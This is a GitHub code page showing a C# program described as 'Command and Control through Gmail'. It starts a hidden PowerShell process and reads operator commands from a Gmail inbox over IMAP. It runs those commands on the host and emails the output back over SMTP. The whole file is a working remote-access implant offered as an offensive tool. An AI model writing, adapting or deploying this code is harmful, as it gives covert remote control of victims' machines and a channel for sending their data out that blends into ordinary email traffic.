-
Notifications
You must be signed in to change notification settings - Fork 46
/
Program.cs
223 lines (185 loc) · 8.1 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
using System;
using System.Threading; // For using wait()
using System.Net; // For NetworkCredentials
using System.Net.Mail; // For mail operation
//using System.IO; // For streamwriter
using System.Text; // For string operation
//using System.Text.RegularExpressions; // For regular expression
using System.Diagnostics; // For process operation
using System.Collections.Generic; // For List usage
using EAGetMail; // For Reading Gmail inboxes
//using System.Management.Automation;
//using System.Management.Automation.Runspaces;
namespace Gmail
{
class Program
{
// ============ Command and Control through Gmail =============================
static string smtpAddress = "smtp.gmail.com";
static int SendPortNumber = 587;
static bool enableSSL = true;
static string imapAddress = "imap.gmail.com";
static string emailFromAddress = "Operator@gmail.com"; //Change to Sender Email Address
static string password = "password"; //Change to Sender Password
static string emailToAddress = "receiver@gmail.com"; //Change to Receiver Email Address
static string subject = "Data from Client:";
// Global Variables
public static string strConcat = "";
public static string body = "";
public static int Flag = 1;
// Change If needed
public static int wait = 5;
public static void SendEmail(string info)
{
using (MailMessage mail = new MailMessage())
{
mail.From = new System.Net.Mail.MailAddress(emailFromAddress);
mail.To.Add(emailToAddress);
mail.Subject = subject;
mail.Body = info;
mail.IsBodyHtml = true;
using (SmtpClient smtp = new SmtpClient(smtpAddress, SendPortNumber))
{
smtp.Credentials = new NetworkCredential(emailFromAddress, password);
smtp.EnableSsl = enableSSL;
smtp.Send(mail);
}
}
}
// Read last Email from a list of all Emails in the Inbox
public static String[] ReadLastEmail(MailClient oClient, MailServer oServer, List<string> list_emails)
{
oClient.Connect(oServer);
// retrieve unread/new email only
oClient.GetMailInfosParam.Reset();
oClient.GetMailInfosParam.GetMailInfosOptions = GetMailInfosOptionType.NewOnly;
MailInfo[] infos = oClient.GetMailInfos();
// Only the last (recent/latest) Email
for (int i = infos.Length - 1; i > infos.Length - 2; i--)
{
MailInfo info = infos[i];
Mail oMail = oClient.GetMail(info);
if (((oMail.TextBody.ToString()).Substring(0, 3)).Equals("in:"))
{
list_emails.Add(oMail.TextBody);
list_emails.Add("\nSubject of Mail Sent by Operator: " + oMail.Subject);
//Console.WriteLine("[*] Text Body: {0}", oMail.TextBody);
// mark unread email as read, next time this email won't be retrieved again
if (!info.Read)
{
oClient.MarkAsRead(info, true);
}
//New Mail Exists
Flag = 0;
}
else
{
// Just sending string: "None" to get away from causing "System.ArgumentOutOfRangeException" when string.Substring is used to parse string.
list_emails.Add("None");
}
}
String[] OrderFromC2 = list_emails.ToArray();
return OrderFromC2;
}
public static String[] ReadEmail()
{
List<string> list_all_emails = new List<string>();
MailServer oServer = new MailServer(imapAddress, emailToAddress, password, ServerProtocol.Imap4);
// Enabling SSL Connection
oServer.SSLConnection = true;
oServer.Port = 993;
MailClient oClient = new MailClient("TryIt");
String[] Last_OrderFromC2_all_emails = ReadLastEmail(oClient, oServer, list_all_emails);
return Last_OrderFromC2_all_emails;
}
public static void GmailC2Prompt(string command)
{
Console.WriteLine("\n[GmailC2] Command Sent> {0}\n", command);
}
public static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
strOutput.Append(outLine.Data);
strConcat += strOutput.ToString() + "<br />";
}
}
public static void WaitForCommand(int sec)
{
while (sec >= 0)
{
Console.WriteLine("[*] Waiting for {0} seconds for the Operator to send Command", sec);
Thread.Sleep(sec * 1000);
sec--;
}
}
static void Main()
{
//Console.WriteLine("\n[*] Starting 1\n");
StringBuilder strInput = new StringBuilder();
// Opening New Powershell session
Process p = new Process();
p.StartInfo.FileName = "powershell.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
//Console.WriteLine("\n[*] Entering While Loop...\n");
while (true)
{
try
{
Console.WriteLine("\n[*] Reading MAil Inbox\n");
string[] OrderFromC2 = ReadEmail();
// Flag= 0 => New Mail Arrived
if (Flag == 0)
{
body = (OrderFromC2[0].ToLower()).Trim();
if ((body.Substring(0, 3)).Equals("in:"))
{
// Removing Indicator string from input cmd
string cmd = body.Substring(3, (body.Length - 3));
GmailC2Prompt(cmd);
if (cmd.Equals("exit"))
{
Environment.Exit(0);
}
else
{
strInput.Append(cmd);
//Console.WriteLine("p.StandardInput.WriteLine(strInput)");
p.StandardInput.WriteLine(strInput);
//Console.WriteLine("strInput.Remove(0, strInput.Length)");
strInput.Remove(0, strInput.Length);
}
}
else if (!(body.Substring(0, 3)).Equals("in:"))
{
SendEmail(strConcat);
// Updating Global Variables for next command input
Flag = 1;
strConcat = "";
}
}
else if (Flag == 1)
{
//will sleep for "wait" secs...
//Console.WriteLine("Within Else if(Flag == 1)");
WaitForCommand(wait);
}
}
// For MailServerException
catch (MailServerException ex)
{
//Console.WriteLine("within catch");
SendEmail("[!] Error caused: " + ex.ToString());
}
}
}
}
}